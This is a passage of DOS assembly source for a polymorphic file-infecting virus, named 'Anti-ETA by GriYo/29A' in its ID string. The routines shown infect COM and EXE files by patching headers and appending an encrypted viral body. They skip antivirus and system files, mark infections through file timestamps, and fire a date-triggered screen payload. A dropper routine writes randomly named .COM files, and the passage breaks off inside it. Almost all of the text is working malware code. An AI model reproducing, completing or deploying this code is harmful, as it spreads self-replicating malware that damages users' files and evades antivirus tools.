;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ File infection ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
infect_program: db 0EBh,00h ; Clear prefetch
push cs
pop ds
call hook_24h_03h
cmp ah,4Ch ; Terminate?
jne infect_close
mov si,offset exec_filename ; Filename off to SI
jmp ok_infect_off
infect_close: mov si,offset open_filename ; Filename off to SI
ok_infect_off: mov ah,19h ; Get current drive
int 03h
add al,"A"
cmp byte ptr ds:[si],al ; Infect files only
jne exit_inf ; in current drive
mov bx,si ; Position of \
mov dx,si ; For later use
mov cx,0080h ; Max path
cld
next_char: lodsb ; Get character
cmp al,"\"
je found_slash
or al,al ; End of string?
je found_00h
cmp al,"V" ; Is char a V?
je exit_inf
cmp al,"0" ; Is char a digit?
jb ok_character
cmp al,"9"
jbe exit_inf
ok_character: loop next_char
jmp short exit_inf
found_slash: mov bx,si
jmp short ok_character
found_00h: mov eax,dword ptr ds:[bx] ; Get file name
cmp ax,"BT" ; Thunderbyte utils?
je exit_inf
cmp eax,"NACS" ; SCAN.EXE?
je exit_inf
cmp eax,".NIW" ; WIN.COM?
je exit_inf
cmp eax,"MMOC" ; COMMAND.COM?
je exit_inf
mov eax,dword ptr ds:[si-05h] ; Get extension
cmp eax,"MOC." ; Is it a COM file?
je go_into_file
cmp eax,"EXE." ; What about EXE?
je go_into_file
exit_inf: call free_24h_03h ; Restore ints
jmp exit21h ; 3, 24h and exit
go_into_file: mov ax,4300h ; Get file attrib
int 03h
jc exit_inf
mov word ptr ds:[file_attr],cx ; Save it
mov ax,4301h ; Clear attributes
xor cx,cx
int 03h
jc exit_inf
mov ax,3D02h ; Open file r/w
int 03h
jnc save_date_time
file_error_1: mov ax,4301h ; Restore saved
mov cx,word ptr ds:[file_attr] ; file attribute
int 03h
jmp short exit_inf
save_date_time: xchg bx,ax ; Get handle
mov ax,5700h ; Get date/time
int 03h
jnc done_date_time
file_error_2: mov ah,3Eh ; If error, close
int 03h ; file and restore
jmp short file_error_1 ; attribute
done_date_time: mov word ptr ds:[file_time],cx ; Save file time
mov word ptr ds:[file_date],dx ; Save file date
and cl,1Fh ; Check if file is
cmp cl,0Ah ; already infected
je file_error_3
mov ah,3Fh ; Read file header
mov cx,001Ch
mov dx,offset inf_header
mov si,dx
int 03h
jc file_error_3
call seek_end ; Seek to EOF and
jc file_error_3 ; get file size
mov ax,word ptr ds:[file_size]
mov dx,word ptr ds:[file_size+02h]
or dx,dx
jnz ok_min_size
cmp ax,inf_byte_size ; Too small file?
jb file_error_3
ok_min_size: mov ax,word ptr ds:[si]
add al,ah
cmp al,"M"+"Z"
je inf_exe_file
jmp inf_com_file
file_error_3: mov ax,5701h
mov cx,word ptr ds:[file_time] ; Restore time
mov dx,word ptr ds:[file_date] ; And date
int 03h
jmp file_error_2
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Infect COM files ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
inf_com_file: or dx,dx ; Huh? this COM
jnz file_error_3 ; file is strange...
mov ax,word ptr ds:[file_size] ; Avoid too big COM
cmp ax,0FFFFh-(inf_byte_size+02h) ; files
jae file_error_3
call backup_header ; Save header
sub ax,03h ; Write a jump
mov byte ptr ds:[si+00h],0E9h ; to the viral code
mov word ptr ds:[si+01h],ax
add ax,0103h
mov word ptr ds:[delta],ax ; Save delta offsets
mov dword ptr ds:[host_type],".COM" ; Set host type
jmp write_body
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Infect EXE files ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
inf_exe_file: cmp word ptr ds:[si+19h],0040h ; Avoid Windows shit
jae file_error_3
cmp word ptr ds:[si+1Ah],0000h ; Avoid overlays
jne file_error_3
cmp word ptr ds:[si+0Ch],0FFFFh ; Check maxmem
jne file_error_3
call backup_header ; Save header
push word ptr ds:[si+14h] ; Build a jump to
pop word ptr ds:[exe_ip_cs] ; the original entry
push word ptr ds:[si+16h] ; point
pop word ptr ds:[exe_ip_cs+02h]
mov ax,word ptr ds:[file_size] ; Get file size
mov dx,word ptr ds:[file_size+02h] ; div 0010h
mov cx,0010h
div cx
sub ax,word ptr ds:[si+08h] ; Sub header size
mov word ptr ds:[si+14h],dx ; New entry point at
mov word ptr ds:[si+16h],ax ; file end
mov word ptr ds:[delta],dx ; Save delta offset
inc ax ; New stack segment
mov word ptr ds:[si+0Eh],ax ; in load module
add dx,inf_byte_size+0200h ; Move stack pointer
and dx,0FFFEh ; using word aligment
mov word ptr ds:[si+10h],dx
mov ax,word ptr ds:[file_size] ; Get file size
mov dx,word ptr ds:[file_size+02h] ; div 0200h
mov cx,0200h
div cx
or dx,dx
jz size_round_1
inc ax
size_round_1: cmp ax,word ptr ds:[si+04h] ; Check if file
jne exit_header ; size is as header
cmp dx,word ptr ds:[si+02h] ; says
je ok_file_size
exit_header: jmp file_error_3
ok_file_size: mov dword ptr ds:[host_type],".EXE" ; Set host type
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Append virus body to our victim ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
write_body: push bx
mov si,inf_para_size*02h ; Allocate memory
call mem_alloc ; for poly decryptor
pop bx ; and virus body
or di,di
jz no_memory
push bx
mov es,di
xor di,di
call gen_polymorph
add word ptr ds:[delta],di ; Save delta offset
mov ax,word ptr ds:[eng_entry_point]
mov si,offset inf_header
cmp dword ptr ds:[host_type],".EXE"
je fix_exe
fix_com: add word ptr ds:[si+01h],ax ; Add to jmp
jmp short entry_size_fix
fix_exe: add word ptr ds:[si+14h],ax ; Add to IP
mov ax,word ptr ds:[file_size] ; Get file size
mov dx,word ptr ds:[file_size+02h]
add ax,inf_byte_size ; Add virus size
adc dx,0000h ; to file size
add ax,di ; Add decryptor size
adc dx,0000h ; to file size
mov cx,0200h ; Get infected file
div cx ; size div 0200h
or dx,dx
jz size_round_2
inc ax
size_round_2: mov word ptr ds:[si+02h],dx ; Store new size
mov word ptr ds:[si+04h],ax ; on header
entry_size_fix: xor si,si
mov cx,inf_byte_size
rep movsb
push di
push es
pop ds
call crypto03h ; Crypt area 03h
call crypto02h ; Crypt area 02h
call crypto01h ; Crypt area 01h
call gen_encryption
mov ah,40h ; Write virus body
pop cx ; at EOF
pop bx
xor dx,dx
int 03h
jc no_write
call seek_begin
push cs
pop ds
mov ah,40h ; Write infected
mov cx,001Ch ; header
mov dx,offset inf_header
int 03h
mov al,byte ptr ds:[file_time] ; Mark file as
and al,0E0h ; infected using
or al,0Ah ; time stamp
mov byte ptr ds:[file_time],al ; (seconds=0Ah)
no_write: mov ah,49h ; Free allocated
int 03h ; memory
push cs
pop ds
mov word ptr ds:[crypt_delta],0000h ; Clear crypt delta
no_memory: jmp file_error_3
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Time for activation? ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
try_activation: db 0EBh,00h ; Clear prefetch
mov ah,04h ; Check if time
int 1Ah ; to activate
cmp dx,0710h
jne drop_virus
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Activation routine ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
do_payload: mov ax,0013h ; Set video mode
int 10h ; 320x200x256c
mov ax,0A000h ; Decompress our
mov es,ax ; image over video
mov si,offset image_data ; memory
xor di,di
mov cx,100 ; 100 scan lines
loop_compress: push cx
mov cx,20
next_string: push cx
lodsb
mov dl,al
mov cx,8 ; Get 8 pixels
compress_byte: xor al,al
test dl,128
jz pixel_ready
mov al,07h
pixel_ready: push di
add di,320
stosb
stosb
pop di
stosb
stosb
shl dl,01h
loop compress_byte ; Next pixel
pop cx ; Next 8 byte group
loop next_string
pop cx ; Next scan
add di,320
loop loop_compress
stay_quiet: jmp stay_quiet
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Image for the virus payload (white hand) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
image_data equ this byte
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 001h,0FEh,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,007h,0FEh,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,00Fh,0FEh
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,03Fh,0FEh,000h,000h,000h,000h,00Fh,0F0h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,07Fh,0FEh,000h,000h
db 000h,000h,0FFh,0F8h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,001h,0FFh,0FEh,000h,000h,000h,001h,0FFh,0F8h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,003h,0FFh,0FCh,000h,000h,000h,003h
db 0FFh,0F8h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,00Fh
db 0FFh,0FCh,000h,000h,000h,00Fh,0FFh,0F8h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,01Fh,0FFh,0FCh,000h,000h,000h,03Fh,0FFh,0F8h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,03Fh,0FFh,0FCh
db 000h,000h,000h,0FFh,0FFh,0F0h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,07Fh,0FFh,0FCh,000h,000h,003h,0FFh,0FFh,0F0h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,0FFh,0FFh,0F8h,000h,000h
db 00Fh,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 001h,0FFh,0FFh,0F0h,000h,000h,03Fh,0FFh,0FFh,0E0h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,003h,0FFh,0FFh,0E0h,000h,000h,07Fh,0FFh
db 0FFh,080h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,01Fh,0FFh
db 0FFh,0C0h,000h,001h,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,03Fh,0FFh,0FFh,0C0h,000h,007h,0FFh,0FFh,0FCh,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,07Fh,0FFh,0FFh,080h
db 000h,01Fh,0FFh,0FFh,0F8h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,07Fh,0FFh,0FEh,000h,000h,03Fh,0FFh,0FFh,0F0h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,0FFh,0FFh,0FCh,000h,000h,0FFh
db 0FFh,0FFh,0C0h,000h,003h,0F0h,000h,000h,000h,000h,000h,000h,000h,003h
db 0FFh,0FFh,0F8h,000h,001h,0FFh,0FFh,0FFh,080h,000h,01Fh,0F8h,000h,000h
db 000h,000h,000h,000h,000h,00Fh,0FFh,0FFh,0F0h,000h,003h,0FFh,0FFh,0FFh
db 000h,001h,0FFh,0F8h,000h,000h,000h,000h,000h,000h,000h,01Fh,0FFh,0FFh
db 0C0h,000h,007h,0FFh,0FFh,0FCh,000h,007h,0FFh,0F0h,000h,000h,000h,000h
db 000h,000h,000h,01Fh,0FFh,0FFh,080h,000h,01Fh,0FFh,0FFh,0E0h,000h,03Fh
db 0FFh,0F0h,000h,000h,000h,000h,000h,000h,000h,07Fh,0FFh,0FFh,000h,000h
db 03Fh,0FFh,0FFh,080h,000h,07Fh,0FFh,0E0h,000h,000h,000h,000h,000h,000h
db 000h,0FFh,0FFh,0FEh,000h,003h,0FFh,0FFh,0FEh,000h,001h,0FFh,0FFh,0C0h
db 000h,000h,000h,000h,000h,000h,001h,0FFh,0FFh,0FEh,000h,007h,0FFh,0FFh
db 0F8h,000h,003h,0FFh,0FFh,0C0h,000h,000h,000h,000h,000h,000h,001h,0FFh
db 0FFh,0FCh,000h,00Fh,0FFh,0FFh,0F0h,000h,007h,0FFh,0FFh,080h,000h,000h
db 000h,000h,000h,000h,003h,0FFh,0FFh,0F8h,000h,03Fh,0FFh,0FFh,0E0h,000h
db 01Fh,0FFh,0FEh,000h,000h,000h,000h,000h,000h,000h,003h,0FFh,0FFh,0E0h
db 000h,07Fh,0FFh,0FFh,0C0h,000h,07Fh,0FFh,0F8h,000h,000h,000h,000h,000h
db 000h,000h,007h,0FFh,0FFh,0C0h,000h,0FFh,0FFh,0FFh,000h,001h,0FFh,0FFh
db 0F0h,000h,000h,000h,000h,000h,000h,000h,00Fh,0FFh,0FFh,080h,001h,0FFh
db 0FFh,0FCh,000h,003h,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,000h,000h
db 03Fh,0FFh,0FCh,000h,007h,0FFh,0FFh,0F8h,000h,00Fh,0FFh,0FFh,000h,000h
db 000h,000h,000h,000h,000h,000h,07Fh,0FFh,0F8h,000h,00Fh,0FFh,0FFh,0F0h
db 000h,01Fh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h,000h,07Fh,0FFh
db 0F8h,000h,0FFh,0FFh,0FFh,0E0h,000h,07Fh,0FFh,0FEh,000h,000h,000h,000h
db 000h,000h,000h,000h,07Fh,0FFh,0FCh,03Fh,0FFh,0FFh,0FFh,000h,003h,0FFh
db 0FFh,0FCh,000h,000h,000h,000h,000h,000h,000h,000h,0FFh,0FFh,0FFh,0FFh
db 0FFh,0FFh,0FEh,000h,00Fh,0FFh,0FFh,0F8h,000h,000h,000h,000h,000h,000h
db 000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h,01Fh,0FFh,0FFh,0F0h
db 000h,000h,000h,000h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
db 0F0h,001h,0FFh,0FFh,0FFh,0E0h,000h,003h,0F0h,000h,000h,000h,000h,00Fh
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,007h,0FFh,0FFh,0FFh,080h,000h,00Fh
db 0FCh,000h,000h,000h,000h,01Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,0FFh
db 0FFh,0FFh,0FFh,000h,000h,03Fh,0FCh,000h,000h,000h,000h,03Fh,0FFh,0FFh
db 0FFh,0FFh,0FFh,0FFh,0EFh,0FFh,0FFh,0FFh,0FCh,000h,000h,07Fh,0FCh,000h
db 000h,000h,000h,03Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
db 0E0h,000h,000h,0FFh,0F8h,000h,000h,000h,000h,07Fh,0FFh,0FFh,0FFh,0FFh
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0C0h,000h,007h,0FFh,0F8h,000h,000h,000h
db 000h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,000h,000h
db 0FFh,0FFh,0F8h,000h,000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
db 0FFh,0FFh,0FFh,0FEh,000h,001h,0FFh,0FFh,0F8h,000h,000h,000h,003h,0FFh
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h,003h,0FFh,0FFh
db 0F8h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
db 0FFh,0C0h,000h,03Fh,0FFh,0FFh,0F0h,000h,000h,000h,00Fh,0FFh,0FFh,0FFh
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,000h,007h,0FFh,0FFh,0FFh,0E0h,000h
db 000h,000h,01Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h
db 07Fh,0FFh,0FFh,0FFh,0C0h,000h,000h,000h,03Fh,0FFh,0FFh,0FFh,0FFh,0FFh
db 0FFh,0FFh,0FFh,0FFh,0F0h,000h,0FFh,0FFh,0FFh,0FFh,000h,000h,000h,000h
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,000h,003h,0FFh,0FFh
db 0FFh,0FCh,000h,000h,000h,003h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
db 0FFh,0F8h,000h,01Fh,0FFh,0FFh,0FFh,0E0h,000h,000h,000h,003h,0FFh,0FFh
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F0h,001h,0FFh,0FFh,0FFh,0FFh,080h
db 000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h
db 007h,0FFh,0FFh,0FFh,0FEh,000h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh
db 0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,01Fh,0FFh,0FFh,0FFh,0F8h,000h,000h,000h
db 000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,07Fh,0FFh
db 0FFh,0FFh,0C0h,000h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,080h,000h,000h,000h,000h,00Fh
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FCh
db 000h,000h,000h,000h,000h,01Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
db 0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h,000h,000h,000h,000h,03Fh,0F0h,0F1h
db 0C8h,004h,07Fh,0FEh,002h,001h,087h,0FFh,0FFh,0FFh,0FFh,0E0h,000h,000h
db 000h,000h,000h,07Fh,0F0h,071h,0C8h,004h,07Fh,0FEh,002h,001h,007h,0FFh
db 0FFh,0FFh,0FFh,080h,000h,000h,000h,000h,000h,0FFh,0E0h,070h,0CFh,01Ch
db 07Fh,0FEh,03Fh,08Fh,003h,0FFh,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h
db 001h,0FFh,0E2h,070h,04Fh,01Ch,07Fh,0FEh,003h,08Fh,023h,0FFh,0FFh,0FFh
db 0FEh,000h,000h,000h,000h,000h,001h,0FFh,0E2h,032h,00Fh,01Ch,07Ch,03Eh
db 003h,08Eh,023h,0FFh,0FFh,0FFh,0F8h,000h,000h,000h,000h,000h,001h,0FFh
db 0C0h,033h,00Fh,01Ch,07Ch,03Eh,03Fh,08Eh,001h,0FFh,0FFh,0FFh,0C0h,000h
db 000h,000h,000h,000h,001h,0FFh,0C0h,013h,08Fh,01Ch,07Fh,0FEh,003h,08Ch
db 001h,0FFh,0FFh,0FFh,080h,000h,000h,000h,000h,000h,001h,0FFh,0C7h,013h
db 08Fh,01Ch,07Fh,0FEh,003h,08Ch,071h,0FFh,0FFh,0F0h,000h,000h,000h,000h
db 000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
db 0FFh,0E0h,000h,000h,000h,000h,000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h
db 001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h
db 000h,000h,000h,000h,000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
db 0FFh,0FFh,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,000h,000h,001h,0FFh
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,080h,000h,000h,000h
db 000h,000h,000h,000h,000h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
db 0FFh,0F8h,000h,000h,000h,000h,000h,000h,000h,000h,000h,0FFh,0FFh,0FFh
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,080h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,07Fh,0FFh,0FFh,0FFh,0FFh
db 0FFh,0FFh,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,03Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,01Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
db 0FFh,0FFh,0E0h,000h,000h,000h,0FFh,0C0h,000h,000h,000h,000h,000h,007h
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,000h,001h,0FFh,0FFh,0E0h
db 000h,000h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
db 0E0h,000h,03Fh,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,007h,0FFh,0FFh
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,003h,0FFh,0FFh,0FFh,0E0h,000h,000h
db 000h,000h,000h,003h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0C0h,03Fh
db 0FFh,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,001h,0FFh,0FFh,0FFh,0FFh
db 0FFh,0FFh,0FFh,0FFh,0C0h,07Fh,0FFh,0FFh,0FFh,0E0h,000h,000h,000h,000h
db 000h,000h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E1h,0FFh,0FFh,0FFh
db 0FFh,0C0h,000h,000h,000h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0C0h,000h,000h,000h,000h,000h,000h
db
003h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,000h
db 000h,000h,000h,000h,000h,000h,003h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
db 0FFh,0FFh,0FFh,0FFh,0FCh,000h,000h,000h,000h,000h,000h,000h,003h,0FFh
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h,000h,000h
db 000h,000h,000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
db 0FFh,0FFh,0C0h,000h,000h,000h,000h,000h,000h,000h,001h,0FFh,0FFh,0FFh
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,080h,000h,000h,000h,000h,000h
db 000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FEh
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,0FFh,0FFh,0FFh,0FFh,0FFh
db 0FFh,0FFh,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,07Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0C0h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,03Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
db 0FFh,0FEh,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,03Fh
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FCh,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,00Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FEh,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,001h,0FFh,0FFh
db 0FFh,0FFh,0FEh,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ ID string ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
id_string db "<< Anti-ETA by GriYo/29A >>"
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Create a virus dropper in the current directory ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
drop_virus: call get_rnd
or al,al
jnz do_not_gen
mov ax,cs
mov ds,ax
mov es,ax
call hook_24h_03h
mov ax,0004h
call rand_in_range
inc ax
inc ax
mov cx,ax
mov di,offset dropper_name
push di
cld
generate_name: mov ax,0019h
call rand_in_range
add al,41h
stosb
loop generate_name
mov eax,"MOC."
mov dword ptr ds:[di],eax
mov dword ptr ds:[di+04h],00h
pop dx
mov ah,3Ch
